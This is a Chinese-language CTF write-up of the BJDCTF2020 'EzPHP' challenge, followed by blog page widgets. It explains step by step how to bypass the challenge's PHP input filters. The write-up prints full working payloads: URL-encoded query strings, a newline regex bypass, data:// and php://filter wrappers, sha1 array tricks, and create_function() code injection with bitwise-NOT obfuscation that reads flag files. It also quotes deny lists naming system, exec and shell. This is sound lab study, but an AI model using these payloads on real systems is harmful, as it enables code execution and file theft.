[BJDCTF2020]EzPHP

前言:

这道题很有意思,知识点多但都不是特别难的知识点,代码虽然多但都是 ”分段“ 的。总之做完真的学到很多

首先在源码中有一段GFXEIM3YFZYGQ4A=,这是base32编码,重新解码一下即可提示前往1nD3x.php得到代码

一、$_SERVER['QUERY_STRING']的绕过
if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
}

不懂$_SERVER['QUERY_STRING']的话看一看:详解 $_SERVER[“QUERY_STRING”]

题目正则ban了必须要传的参数。这里的绕过方式是URL编码,即 $_SERVER['QUERY_STRING']是不会进行URL解码的
在这里插入图片描述
可以看到我们传URL编码过的进去,$_SERVER['QUERY_STRING']不会URL解码的

所以本题就是将这里被过滤的字符进行URL编码,最好就是把传的参数都URL编码一下

二、%0a绕过正则
if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die('fxck you! What do you want to do ?!');

^$无法匹配到%0a(经过我测试感觉是这样,不大确定),所以用%0a进行污染即可
在这里插入图片描述

file=aqua_is_cute%0a

%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a
三、同名变量下$_REQUEST的优先级
if($_REQUEST) {
    foreach($_REQUEST as $value) {
        if(preg_match('/[a-zA-Z]/i', $value))
            die('fxck you! I hate English!');
    }
}

$_REQUEST 详解

首先需要明确一下:
假如$_GET$_POST中出现有同名变量,$REQUEST会按照php.ini配置文件中的顺序来取值
在这里插入图片描述

由上图看出:默认的优先级 GET<POST
所以GET和POST有共同一个变量时:取得是POST的值而不是GET的

本题直接再POST传相应变量的值即可

注意:在BUU上做题时把Cookie删去,因为$_COOKIE的值也出现在$_REQUEST全局变量中(这个地方我做题时一直没注意,导致好一会儿在怀疑人生…)

四、绕过文件内容读取的比较
if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

两种方式绕过:data伪协议与php://input

这里用data伪协议即可

data://text/plain,debu_debu_aqua
data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61
五、 sha1()函数的绕过
if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

类比md5()的绕过,这里用了强比较,用科学计数法是不可以的了
但没有限制传入类型,假如传入数组类型就会使sha1()函数返回FALSE,因为他只接收字符串

shana[]=1&passwd[]=2
%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2

前半部分的payload:

/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&%66%69%6c%65=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2

file=1&debu=2

六、 create_function()代码注入
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); 
} else { 
    include "flag.php";
    $code('', $arg); 
}

这里的$code$arg都是要通过 extract($_GET["flag"]);赋值的
且$code不能一直只是小写字母和数字组成, $arg 更是过滤了很多
看到最终是以$code作为一个函数名,$arg充当其中一个参数。
这里需要利用create_function()函数,

$DMIND="echo $a;";
$fun = create_function('$a',$DMIND);

等价于:

create_function($a){
	echo $a;
}

因为$code可控,那么可以通过代码注入的方式,闭合},再在最后注释(可以多行注释/*也可以单行注释//)掉原有代码,类比SQL注入吧

但要怎么利用这个代码注入呢?注意到$code('', $arg); 前面就是include "flag.php";,我们猜测flag在其中是一个变量形式的存在,可以尝试将flag.php中的变量打印出来。

get_defined_vars() 函数获取由所有已定义变量所组成的数组

print_r(get_defined_vars())即可打印出这个数组

这题过滤了print,所以可以用var_dump()代替,过滤了*可以用单行注释代替多行注释,code、flag、arg继续URL编码

flag['code']=create_function&flag['arg']=}var_dump(get_defined_vars());/*

%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=}var_dump(get_defined_vars());//

在这里插入图片描述

读取另外一个文件

flag在另外一个文件rea1fl4g.php中,包含这个文件,并继续读取变量:
但是include被过滤了,可以用require()代替,
双引号、单引号的使用、.的使用可以用base64编码绕过,

flag['code']=create_function&flag['arg']=}require(base64_deode(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//

flag['code']=create_function&flag['arg']=}require(%62%61%73%65%36%34%5f%64%65%63%6f%64%65(cmVhMWZsNGcucGhw));var_dump(get_defined_vars());//

在这里插入图片描述
读取不到真的flag,只能换种方式

取反绕过 + 伪协议读源码

因为~没被过滤,可以用取反来构造LFI:

flag['code']=create_function&flag['arg']=}print_r(get_defined_vars());/*
%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=}require("php://filter/read=convert.base64-encode/resource=rea1fl4g.php");//

flag['code']=create_function&flag['arg']=}print_r(get_defined_vars());/*
%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=}require(~%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F);//
define + fopen ()+fgets ()

还有这种方式获取flag,配合被遗漏的函数 + while循环读取内容

$handle = fopen('flag.txt',r)只读方式打开文件flag.txt,并返回文件指针资源

fgets($handle)文件指针读取一行

feof($handle) 测试文件指针是否到了文件结束的位置

flag['code']=create_function&flag['arg']=}print_r(get_defined_vars());/*
%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=}define(aa,fopen('rea1fl4g.php',r));while(!feof(aa))var_dump(fgets(aa));fclose(aa);//

flag['code']=create_function&flag['arg']=}print_r(get_defined_vars());/*
%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=}define(aa,fopen(~%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F,r));while(!feof(aa))var_dump(fgets(aa));fclose(aa);//
总结

1. 如果对$_SERVER['QUERY_STRING']这个数组做过滤,URL编码即可绕过
2. %0a进行参数污染
3. 同名变量下$_REQUEST的取值是有优先级的,默认的优先级 ENV<GET<POST<COOKIE<SERVER
4. data伪协议绕过file_get_content()文件读取
5. create_function()代码注入

参考

颖奇师傅
feng师傅

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值